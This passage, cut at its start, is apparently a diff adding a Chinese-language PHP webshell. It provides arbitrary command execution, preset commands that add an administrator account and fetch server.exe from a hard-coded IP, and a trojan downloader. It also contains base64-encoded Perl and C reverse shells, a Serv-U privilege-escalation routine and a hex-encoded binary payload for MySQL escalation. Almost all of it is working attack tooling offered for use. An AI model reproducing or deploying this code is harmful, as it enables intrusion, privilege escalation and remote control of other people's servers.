                            ",$dis_func);} + $phpinfo = (!eregi("phpinfo",$dis_func)) ? "Yes" : "No"; + $info = array( + array("服务器时间",date("Y年m月d日 h:i:s",time())), + array("服务器域名","".$_SERVER['SERVER_NAME'].""), + array("服务器IP地址",gethostbyname($_SERVER['SERVER_NAME'])), + array("服务器操作系统",PHP_OS), + array("服务器操作系统文字编码",$_SERVER['HTTP_ACCEPT_LANGUAGE']), + array("服务器解译引擎",$_SERVER['SERVER_SOFTWARE']), + array("你的IP",getenv('REMOTE_ADDR')), + array("Web服务端口",$_SERVER['SERVER_PORT']), + array("PHP运行方式",strtoupper(php_sapi_name())), + array("PHP版本",PHP_VERSION), + array("运行于安全模式",Info_Cfg("safemode")), + array("服务器管理员",$adminmail), + array("本文件路径",__FILE__), + array("允许使用 URL 打开文件 allow_url_fopen",Info_Cfg("allow_url_fopen")), + array("允许动态加载链接库 enable_dl",Info_Cfg("enable_dl")), + array("显示错误信息 display_errors",Info_Cfg("display_errors")), + array("自动定义全局变量 register_globals",Info_Cfg("register_globals")), + array("magic_quotes_gpc",Info_Cfg("magic_quotes_gpc")), + array("程序最多允许使用内存量 memory_limit",Info_Cfg("memory_limit")), + array("POST最大字节数 post_max_size",Info_Cfg("post_max_size")), + array("允许最大上传文件 upload_max_filesize",$upsize), + array("程序最长运行时间 max_execution_time",Info_Cfg("max_execution_time")."秒"), + array("被禁用的函数 disable_functions",$dis_func), + array("phpinfo()",$phpinfo), + array("目前还有空余空间diskfreespace",intval(diskfreespace(".") / (1024 * 1024)).'Mb'), + array("图形处理 GD Library",Info_Fun("imageline")), + array("IMAP电子邮件系统",Info_Fun("imap_close")), + array("MySQL数据库",Info_Fun("mysql_close")), + array("SyBase数据库",Info_Fun("sybase_close")), + array("Oracle数据库",Info_Fun("ora_close")), + array("Oracle 8 数据库",Info_Fun("OCILogOff")), + array("PREL相容语法 PCRE",Info_Fun("preg_match")), + array("PDF文档支持",Info_Fun("pdf_close")), + array("Postgre SQL数据库",Info_Fun("pg_close")), + array("SNMP网络管理协议",Info_Fun("snmpget")), + array("压缩文件支持(Zlib)",Info_Fun("gzclose")), + array("XML解析",Info_Fun("xml_set_object")), + array("FTP",Info_Fun("ftp_login")), + array("ODBC数据库连接",Info_Fun("odbc_close")), + array("Session支持",Info_Fun("session_start")), + array("Socket支持",Info_Fun("fsockopen")), + ); + echo '
                            上级目录 操作 属性 修改时间 大小
                            0 '.$Filename.' 删除 '; + echo ' 改名 '.$Fileperm.' '.$Filetime.'
                            '.$fname.' 编辑 '; + echo ' 改名 '.$Fileperm.''.$Filetime.' '.$Filesize.'
                            '; + for($i = 0;$i < count($info);$i++){echo ''."\n";} + echo '
                            '.$info[$i][0].''.$info[$i][1].'
                            '; + return true; +} + +//执行命令 + +function Exec_Run($cmd) +{ + $res = ''; + if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);} + elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);} + elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();} + elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);} + return $res; +} + + +function Exec_g() +{ + $res = '回显窗口'; + $cmd = 'dir'; + if(!empty($_POST['cmd'])){$res = Exec_Run($_POST['cmd']);$cmd = $_POST['cmd'];} +print<< +function sFull(i){ + Str = new Array(11); + Str[0] = "dir"; + Str[1] = "net user spider spider /add"; + Str[2] = "net localgroup administrators spider /add"; + Str[3] = "netstat -an"; + Str[4] = "ipconfig"; + Str[5] = "copy c:\\1.php d:\\2.php"; + Str[6] = "tftp -i 219.134.46.245 get server.exe c:\\server.exe"; + document.getElementById('cmd').value = Str[i]; + return true; +} + +
                            +命令参数 + +
                            +
                            +
                            +END; + return true; +} + +//组件接口 + +function Com_h() +{ + $object = isset($_GET['o']) ? $_GET['o'] : 'adodb'; +print<<[ADODB.Connection] +[WScript.shell] +[Shell.Application] +[Downloader] +
                            +END; +if($object == 'downloader') +{ + $Com_durl = isset($_POST['durl']) ? $_POST['durl'] : 'http://www.baidu.com/down/muma.exe'; + $Com_dpath= isset($_POST['dpath']) ? $_POST['dpath'] : File_Str(dirname(__FILE__).'/muma.exe'); +print<<超连接 +
                            下载到
                            +
                            +END; + if((!empty($_POST['durl'])) && (!empty($_POST['dpath']))) + { + echo '
                            '; + $contents = @file_get_contents($_POST['durl']); + if(!$contents) echo '无法读取要下载的数据'; + else echo File_Write($_POST['dpath'],$contents,'wb') ? '下载文件成功' : '下载文件失败'; + echo '
                            '; + } +} +elseif($object == 'wscript') +{ + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'dir'; +print<<执行CMD命令 +
                            +END; + if(!empty($_POST['cmd'])) + { + echo '
                            '; + $shell = new COM('wscript'); + $exe = @$shell->exec("cmd.exe /c ".$cmd); + $out = $exe->StdOut(); + $output = $out->ReadAll(); + echo '
                            '.$output.'
                            '; + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} +elseif($object == 'application') +{ + $run = isset($_POST['run']) ? $_POST['run'] : 'cmd.exe'; + $cmd = isset($_POST['cmd']) ? $_POST['cmd'] : 'copy c:\windows\php.ini c:\php.ini'; +print<<程序路径 +
                            命令参数
                            +
                            +END; + if(!empty($_POST['run'])) + { + echo '
                            '; + $shell = new COM('application'); + echo (@$shell->ShellExecute($run,'/c '.$cmd) == '0') ? '执行成功' : '执行失败'; + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} +elseif($object == 'adodb') +{ + $string = isset($_POST['string']) ? $_POST['string'] : ''; + $sql = isset($_POST['sql']) ? $_POST['sql'] : ''; +print<< +function hFull(i){ + if(i==0 || i==5) return false; + Str = new Array(12); + Str[1] = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=\db.mdb"; + Str[2] = "Driver={Sql Server};Server=,1433;Database=DbName;Uid=sa;Pwd=****"; + Str[3] = "Driver={MySql};Server=;Port=3306;Database=DbName;Uid=root;Pwd=****"; + Str[4] = "Provider=MSDAORA.1;Password=密码;User ID=帐号;Data Source=服务名;Persist Security Info=True;"; + Str[6] = "SELECT * FROM [TableName] WHERE ID<100"; + Str[7] = "INSERT INTO [TableName](USER,PASS) VALUES('spider','mypass')"; + Str[8] = "DELETE FROM [TableName] WHERE ID=100"; + Str[9] = "UPDATE [TableName] SET USER='spider' WHERE ID=100"; + Str[10] = "CREATE TABLE [TableName](ID INT IDENTITY (1,1) NOT NULL,USER VARCHAR(50))"; + Str[11] = "DROP TABLE [TableName]"; + Str[12] = "ALTER TABLE [TableName] ADD COLUMN PASS VARCHAR(32)"; + Str[13] = "ALTER TABLE [TableName] DROP COLUMN PASS"; + if(i<=4){document.getElementById('string').value = Str[i];}else{document.getElementById('sql').value = Str[i];} + return true; +} + +
                            连接字符串 +
                            +
                            SQL命令
                            +
                            + +END; + if(!empty($string)) + { + echo '
                            '; + $shell = new COM('adodb'); + @$shell->Open($string); + $result = @$shell->Execute($sql); + $count = $result->Fields->Count(); + for($i = 0;$i < $count;$i++){$Field[$i] = $result->Fields($i);} + echo $result ? $sql.' 执行成功
                            ' : $sql.' 执行失败
                            '; + if(!empty($count)){while(!$result->EOF){for($i = 0;$i < $count;$i++){echo htmlspecialchars($Field[$i]->value).'
                            ';}@$result->MoveNext();}} + $shell->Close(); + @$shell->Release(); + $shell = NULL; + echo '
                            '; + } +} + return true; +} + +//扫描端口 + +function Port_i() +{ + $Port_ip = isset($_POST['ip']) ? $_POST['ip'] : '127.0.0.1'; + $Port_port = isset($_POST['port']) ? $_POST['port'] : '21|23|25|80|110|135|139|445|1433|3306|3389|43958'; +print<< +
                            扫描IP
                            +
                            端口号
                            +
                            + +END; + if((!empty($_POST['ip'])) && (!empty($_POST['port']))) + { + echo '
                            '; + $ports = explode('|', $_POST['port']); + for($i = 0;$i < count($ports);$i++) + { + $fp = @fsockopen($_POST['ip'],$ports[$i],&$errno,&$errstr,2); + echo $fp ? '开放端口 ---> '.$ports[$i].'
                            ' : '关闭端口 ---> '.$ports[$i].'
                            '; + ob_flush(); + flush(); + } + echo '
                            '; + } + return true; +} + +//Linux提权 + +function Linux_k() +{ + $yourip = isset($_POST['yourip']) ? $_POST['yourip'] : getenv('REMOTE_ADDR'); + $yourport = isset($_POST['yourport']) ? $_POST['yourport'] : '12666'; +print<< +
                            你的地址
                            +
                            连接端口
                            +
                            执行方式
                            +
                            +END; + if((!empty($_POST['yourip'])) && (!empty($_POST['yourport']))) + { + echo '
                            '; + if($_POST['use'] == 'perl') + { + $back_connect_pl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj". + "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR". + "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT". + "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI". + "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi". + "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl". + "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw=="; + echo File_Write('/tmp/spider_bc',base64_decode($back_connect_pl),'wb') ? '创建/tmp/spider_bc成功
                            ' : '创建/tmp/spider_bc失败
                            '; + $perlpath = Exec_Run('which perl'); + $perlpath = $perlpath ? chop($perlpath) : 'perl'; + echo Exec_Run($perlpath.' /tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + if($_POST['use'] == 'c') + { + $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC". + "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb". + "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd". + "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ". + "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC". + "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D". + "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp". + "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ=="; + echo File_Write('/tmp/spider_bc.c',base64_decode($back_connect_c),'wb') ? '创建/tmp/spider_bc.c成功
                            ' : '创建/tmp/spider_bc.c失败
                            '; + $res = Exec_Run('gcc -o /tmp/angel_bc /tmp/angel_bc.c'); + @unlink('/tmp/spider_bc.c'); + echo Exec_Run('/tmp/spider_bc '.$_POST['yourip'].' '.$_POST['yourport'].' &') ? 'nc -l -n -v -p '.$_POST['yourport'] : '执行命令失败'; + } + echo '
                            你可以尝试连接端口 (nc -l -n -v -p '.$_POST['yourport'].')
                            '; + } + return true; +} + +//ServU提权 + +function Servu_l() +{ + $SUPass = isset($_POST['SUPass']) ? $_POST['SUPass'] : '#l@$ak#.lk;0@P'; +print<<[执行命令] [添加用户] +
                            +
                            ServU端口
                            +
                            ServU用户
                            +
                            ServU密码
                            +END; +if($_GET['o'] == 'adduser') +{ +print<<帐号 +密码 +目录 +END; +} +else +{ +print<<提权命令
                            + + + +END; +} +echo '
                            '; + if((!empty($_POST['SUPort'])) && (!empty($_POST['SUUser'])) && (!empty($_POST['SUPass']))) + { + echo '
                            '; + $sendbuf = ""; + $recvbuf = ""; + $domain = "-SETDOMAIN\r\n"."-Domain=haxorcitos|0.0.0.0|21|-1|1|0\r\n"."-TZOEnable=0\r\n"." TZOKey=\r\n"; + $adduser = "-SETUSERSETUP\r\n"."-IP=0.0.0.0\r\n"."-PortNo=21\r\n"."-User=".$_POST['user']."\r\n"."-Password=".$_POST['password']."\r\n"."-HomeDir=c:\\\r\n"."-LoginMesFile=\r\n"."-Disable=0\r\n"."-RelPaths=1\r\n"."-NeedSecure=0\r\n"."-HideHidden=0\r\n"."-AlwaysAllowLogin=0\r\n"."-ChangePassword=0\r\n". + "-QuotaEnable=0\r\n"."-MaxUsersLoginPerIP=-1\r\n"."-SpeedLimitUp=0\r\n"."-SpeedLimitDown=0\r\n"."-MaxNrUsers=-1\r\n"."-IdleTimeOut=600\r\n"."-SessionTimeOut=-1\r\n"."-Expire=0\r\n"."-RatioUp=1\r\n"."-RatioDown=1\r\n"."-RatiosCredit=0\r\n"."-QuotaCurrent=0\r\n"."-QuotaMaximum=0\r\n". + "-Maintenance=None\r\n"."-PasswordType=Regular\r\n"."-Ratios=None\r\n"." Access=".$_POST['part']."\|RWAMELCDP\r\n"; + $deldomain = "-DELETEDOMAIN\r\n"."-IP=0.0.0.0\r\n"." PortNo=21\r\n"; + $sock = @fsockopen("127.0.0.1", $_POST["SUPort"], &$errno, &$errstr, 10); + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST["SUUser"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST["SUPass"]."\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "SITE MAINTENANCE\r\n"; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $domain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $adduser; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + if(!empty($_POST['SUCommand'])) + { + $exp = @fsockopen("127.0.0.1", "21", &$errno, &$errstr, 10); + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "USER ".$_POST['user']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "PASS ".$_POST['password']."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = "site exec ".$_POST["SUCommand"]."\r\n"; + @fputs($exp, $sendbuf, strlen($sendbuf)); + echo "发送数据包: site exec ".$_POST["SUCommand"]."
                            "; + $recvbuf = @fgets($exp, 1024); + echo "返回数据包: $recvbuf
                            "; + $sendbuf = $deldomain; + @fputs($sock, $sendbuf, strlen($sendbuf)); + echo "发送数据包: $sendbuf
                            "; + $recvbuf = @fgets($sock, 1024); + echo "返回数据包: $recvbuf
                            "; + @fclose($exp); + } + @fclose($sock); + echo '
                            '; + } +} + +//MYSQL提权 + +function Mysql_shellcode() +{ + return "0x4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E00000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0A24000000000000009BBB9A02DFDAF451DFDAF451DFDAF451A4C6F851DDDAF4515CC6FA51CBDAF45137C5FE518BDAF451DFDAF451DCDAF451BDC5E751DADAF451DFDAF55184DAF45137C5FF51DCDAF45137C5F051DEDAF45152696368DFDAF4510000000000000000504500004C010300B2976A460000000000000000E0000E210B01060000500000001000000090000010E6000000A0000000F000000000001000100000000200000400000000000000040000000000000000000100001000000000000002000000000010000010000000001000001000000000000010000000D8F000007400000000F00000D80000000000000000000000000000000000000000000000000000004CF100000C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000555058300000000000900000001000000000000000040000000000000000000000000000800000E055505831000000000050000000A000000048000000040000000000000000000000000000400000E055505832000000000010000000F0000000020000004C0000000000000000000000000000400000C00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000322E303200555058210D09020A459475C59FCC587632C900000F46000000B00000260A00BC6FEDDDFF558BEC6AFF6800007148040ED064A10507506489FFD8FF9F2583EC0C5356578965E8C745FC0F7D0C0175236A00FFEDB77B012E05B008FF150970008945E4EB09B81E7363BB0124C38B2FFF000F8B4DF05FF6FFD94E0D5F5E5B8BE55DC20C0090008B442499ACFDF604C740081C100432C0C30F8F58FDAC7D0081EC8C090592C685E8FBFF77DFBD6100B9FF1733C08DBDE90DF3AB66ABAA33DB895DFC8B33DBBBFF450C8338010F85770380480439190A6C53EFFEFFBF80988B50088B0250E80A005DDC83C40885C00F84511A889DC8F6F720276B414EC9F6C785BC0A9FD9DC5D0C16899DC0090FC4D853A1FBF6DF8D8D1A518D95CCFA06528D85B80D500EB399661B2C256C44246CCDF7EFB116288B852A8985ACF605A866EEEE8C6C559C985668050134776723CD95C852240CBFBA8883C9DFDCFFB7FF9CF2AEF7D12BF98BF78BFA8BD1100E4F8BCAC1B3CDFDF6E902F3A50683E103F3A4FBF2083566B604D88B393284B4C1B5DB60E6D8FBB153006A0103FF6B63838A538B20B4283BC3752D6A0A6D84436EF0E8FB1C4F473ADBAF3D7C12516670380B52E917059E0B67B30CF72A18B9D0FA40FB0E72106AD1FA6803FA8D1D93CBD8D84268FF14D0FAC47E0990583A548D64D9BA6F3EE5117E8BF089B564B9535EC803C2993B046AA18BB810CD2ED81B0E567420C63C10FFB9E53B72C6000163E8EBBA1882FBB7B9850436D41105B0596A206A03049D306B6E037D7EB2BF0CF6B171F37B6883FEFF6A85385618DCEFEF2D94F889BD408D4764A80FF652F1DC2F942DB9590C89036A9D5679F8CFBE564F01515030108B13C6043A0009446C03E40BD18B3BD9687E2C089318580C04EB366A64B66C8DC972D031745813594ECE0E53C16551C83BE920FDC91E498B5514890AE98B03E63F61EE23C368C80B6389500C3BD37C2939D8751A3233C07F3001BB709155357A0C83910DBB954511420C8651C8D391AC91AE8D513763F24C9552CDB0069B6CC2A4E96551C51C8B6C76695D530C1FA86CB243C27B0C298B5BA5C3A71B4F08A40F8B400C8674DD5B768C07BC91591B00130BC8AEF1B72C1D750683C8FFC2C30E05DCC030D74E060C74092FF202EDB4329054554468020217F6FEBFFE7134F7D81BC04081C41A5E903D814C060F6808B8640426B073A466121C866DCBB6417B885DA87401A902ADB17EE3D2B76603B58845B71684FEF1888590FFFE7D72BB06563F84BD910AE983CF3F4F9B2E347D942C6A02227175943B5A018CEDF7751616FC1708EC3F79044888FEFE71103BC7751D560A1BC60B6C14326A107A8D74235F61B8E73A52180F66DB8D2C2C88980B531CAE9A338FCA02DD827A1D0E203DB8C9B537DC9004B9827E8B3089CAB4D6D37CB01D80B471D337110CE748BEDDEC6F6A081AA8D177E6489E04A0B6138D55A8E327325A00438D7DA883CE2D656B0763CE457537E59B512FD8B7C1028B8B8596504522D9BE1B6144418D4DA885C977DD1696139C2E06249C238D472834160750D28954283B70800CF2C67526537547C84B6CC025CF070D048CFFFEDF5EBC8549E4200866E4516A28AE11DB6E61BC52F88D2072229D489AB3985D2C1D8B35781C88D11B302A6C37DF5968311659FFFF1151BE82B96D42D6FC84FED51052D985CD06A5091CEBC5BA94506052022C069E0F3981C511788FA404FCF68450228B75087CC0807E09060A4B775B71A85F8B5E0C20D469D9D115CEF92011C8B80D124CB6177EA98AB6E00FC1E0028BC803C604C468141ADF02CC33C98A7DBFB566FBEF5E4CC1E102058D14018955E0803A4D4F586F8F818BB9AA01CC8BF2E266F3A7ED0CF26C164102C0159D0542D875477205B04C2C3908C10D00DA6E0D67EF1968D007001034E90B8795BC59C82DED1533F607B80774C03FFB9009C183C206298A023C2167DF7FE9743C843B1B3C0A741788843530421B46D889846744EBDB7FB907CABBFF6F29B6B53C33D2F3A6753B88954C0BB918D962C860784DB34C76739038C0B10B6C68E803C59378271EEB254A1D8E236534B0301BB135728144C60F4F9400D7493C77C7030B5E382E81D8BB7F1A837C2410027513060405750C5B6464046B5F23C357084F179213C888140525F1ECA263810C5456C9134CD8C9C22CBD4FE485DBCEE499566BF6CFE0FA8BCB2BCE490C0804904BB80768042700E0FE397221F724434558E0FE8108D87B96002F8BFB1B2A2327837CD98BFACBCB5073BCC8855098E0FE8D6FBFAC03B7B10DCC63DC0DAF234B21D18DC47AF02AFA7A568F638FA2C0EB0C0354AD46F2C505EED48821B01A60A081C4112684C3CFF4425689FF3B77D77857040CB911280D108D7C2418F3AB8D4C243B0D069B6C1451AB343101BA0B041B0111E5724E64F06650720D553D8755FD04BA917466380E6E8D542408D731F62D925266181108435C5C8F4F4A761850514F9481106A5CDFBFEACC4044076C1589B424809674C67652DD247C03788C5FB65E56B87B49BCBFF0FF255B3CCCCC8D87D4E1674755E7F0FF42DF86C00D5F613C5D6C7904F74104868B23B8065423740F795CEFDCD7B7A5108902B863C33E1210506AFE5C908E7F40F864FF35A900198E1AB52529582FDDD5B4BFC0ED742E3B932474FA34768B0CB38959BD2DB50A02C304B394751268F7DBBFEDBD2DB37D0EAAFF5408EBC3648F0543236C7286EA8C1A648B9C8184FF83DF7904687510E3520C3951087505CF4D05BBFB5351BB1E18EB0A082489DFDCB7B64B02439D6B0C595BFCEF56433230069F0BF758433030F7A5FAFCD82C10DBD10C74F740E42682B58DD63E3F45F812E11B8D08B67F97AD3E21737B08C1618D0C76B18FEA6EED5F744556558D6B10A80B5D5E410B33BBE85ED633783C25534F0DD41D2B38D3AF560C0E168D36B7DEDDB6C5648F358F550C3B08C77EBF73301A8B348FEBA1B8DBEB1CC9EB15884DD67A5C003F5D16466F684394BC3B8B298B419FCC256BB4031824E1D763D9B66E20CF56BDE8C0E010E24785ED75EC423C0AE0DD5B0D1A7E4DE47F34168D5AFF3ADD766B1B92784D1C8020770D2450EDC3FF4884157559598BC65EC9C3CF8DDCFAF7D7B26B71151008C3B7E0772212C7424B4F0434A759913916BDF01C6C7410131E97DEB2C3568BB5FB05D7383B42565777216A091C1FF8ECA245FBA424020C91EF2059E1DB46ED38CEC7FD85F675032863FCDA7F5E83C60F83E6F056887CA4BCC65CE23B3A6BFC4D5716F6460C4074ECEFB75D15660CB2174D29730510B35652F790357329C54E308374342411FAFEE42B502AF7FF761007176F9B34F5DD7D0525EB128B461C530B5FD2A4D87B1C0059644B2A20B25628752EE34A467A86B386F62C591AE1D81E2DFA85EFFD0A7C092CE61D90280DE157F8ED397D08470F94C0485BC31630077AC31A6E5DF1025B5756391803BA23977D6097CA146A401A0CB8CDDCF7039B4DB4DD40743DFD6E78405720AC597B741356C220D7843337E11962410B5957B4C5DA2E6018CC07835328D00CBC3010E326ABA73DB884FB1147D903CB8BFEEA5A8A4614B8F01759C93A47FF7704A94949608563EF1B385B5E5FC93A00513D7DBB8B3B1C279772148111222E2D10B5B73FF685011773EC2BC88BC40C8BE18B596EB4A32D685036C10C576D747A9BF8BAEB74D9C614F7C64D8B197507F8B77803AB756FEB21F646880747497425FF6BCFBA26291F75EB2D1D5183E303740DEE5EEF66201D2F4B75F38492C3F7C79ED9E0FD2874123AFD8A116A9B3BE93AEE6C182EFA2AD1DBC2F6C82E89FEC7D074AFBAA5DB2FB523FEC70603D083F0E8C28B4F78E1BFF5C604A900948174DE84D2742C84641EF7C26FB7B7B90F580C070875C639EB18818C34DDA3E272090E00046A2BC45A88533F550A3B6CF7EBEE075F75F8B07585A3CCFFEFDE8DC6974E8A11F161698A7101DDBF2B74644F7719148A074638D07415D90BD3D2A573E30A0A75F5FC5F51E242173E10F0078D7E436102FE3B2A50DD4E1DC60238E075C48A410376EDDDEF31188A66FF83C11074DFEBB12F348AC26B74851B9030F28DBC0CC34C05C7DB88DFFC83F8F988CC078FA7DBC668BEA3068E58BEB2427EBB8EDE3CA10E680D075925DEC12DBDD1F7FB12102760891664950803C1EDDB50F3375C32F7750940EE78769BDDD8EB7256641CA4C03968098DCC7BB3D96D345204371B366231A8FF0519627F7FBBC8EB3E6B3BC1752C390D0D7EBDFF07E6FB0AFC0D8E90E128E6320E175A89D8331A64FBC25507514EADD87E11B259BF5833A569A363097D56B457C7105EBDC0D6BB09833D482926C101740547D36EA3040322DAA4C4E809F4AED9996EFFD0080CC113CC04BCB6D410BF4E0F07EB8D01C90C4C6D6FB0BB1737575023F6467926A315ED8034032125F71F0117396C115B083C5BD8B9E241C0D01A8DD4D8B1AE6176BA310E97D801DB78C041E03A9A3A3AD3C57DCD2A7D3B8130AB756C462D6C36BE025E10A882D2F6A840B9EEDAB61BED074AA96604071017DE6EBFF77F3F4E0824FE890E89462F1883657524EF0337F72D6E66A90C0115F981FE8B03BFC75A289C0748750BC03F32AE6ABFFDD7073E3EEE5966F7270801577467420BDCB65FAC3E2BF88D48390E581849A489DEB99EF04E047E10053CFE53DCEB3683FBF6CBFFDFBA198BCB8BC3C1F90583E01F8B0C8D93808D04C002B6F4B2D08196B88498F6F320F399B156A107783A260A4B2CD15C8A9E88E614B7C0C24A0D74885507DF40A12932DF4E0C20EB0FCC16B8760C7CEB080DC2C1C8A50E864C17064802DFBA95A1E6798A1F09DB8975F411BAD06E02EC890F0EF406D1B705D74A8D370641D00939554ABF7DF7EC0F8CDC1780FB207C1304787F0E0FBE50152EC08631717461EB02F8BE2DBCBB0F84C60E94C1F804A70789D00F879A85F652EC30FF24901DB2834803CBB22CDB55CC02D8E0E4FCDCBC6DBB4D5D1D954883E8E43B0403742DC1B55EA20B1F4848840DA8D2C56E6E594039FC082708041CB28C1D0111808002C3128E9EFB2AF9B9509B687613661E6CC80F8D12469B89985B8ED80E27B476CBB2ED170A666C4441D0EBE98AF03EED5C2E641EF0D305BF30E7CE63398D0489361B346FCBDB56AE2E046874206CB880FB7790495E2EA005804DFD10EEC6FFE4203F367514807F0134CA4747271FDA628680771888D0AA8568B7C6ED0D1C0FB6C3F66601802291EC50147E06131E28981DCEB0C18DCC35EB4733181652F39BE127F8670F8F1CE508650F8D9600F9EF43DB5811EBA9847817E8430F849FB96D5D836D70036C100CB8E903AF74A146C6BE3008CCC08B25430BFDF0BD68BEFACAC54BC21921D0ADAED4DEFB894DF844E7B1C92D0E2DE47EB981381229DC7477B37D212AD64E85D220D466833878869FED5DCA094040EBE721CC80C320136B1B74AB408FB8FDF3CAD14DDB955F708DCFF3F006CB1A0D8DAFF1660377862E8848BF578089043A953F5B008DD1D6C5F490323FD80C298EDDBEBDD35A7432040974C5487CE801521C97B3B345FE3A6C59882AF4471A183147BD2002BB8916359DDE6F2CF64580D9CCB97F74170FBF00D1E8E369E652D7D8C3AD2DDC000CBF0E94AE6DB4BE6E81344D50C28D8314670B2D826B25D5165C50CCA2B5AFD483C05E08F05D4B053B6C377540FC0EBCC8D18B851FB082B8F7855082FCC9C6057EB581E69E741429F0003506BE67B324205C595D12AF788432611654562D750DD0C2BB653A29BDB9E06157A758888D8459A619694899ED2C1D0C059E0684B686FB2C805184FD331B23B1CF05F77491C9C15DD4273C602621F62BC1D1F847FD340BDB0582F6288038AF03ECF1D72817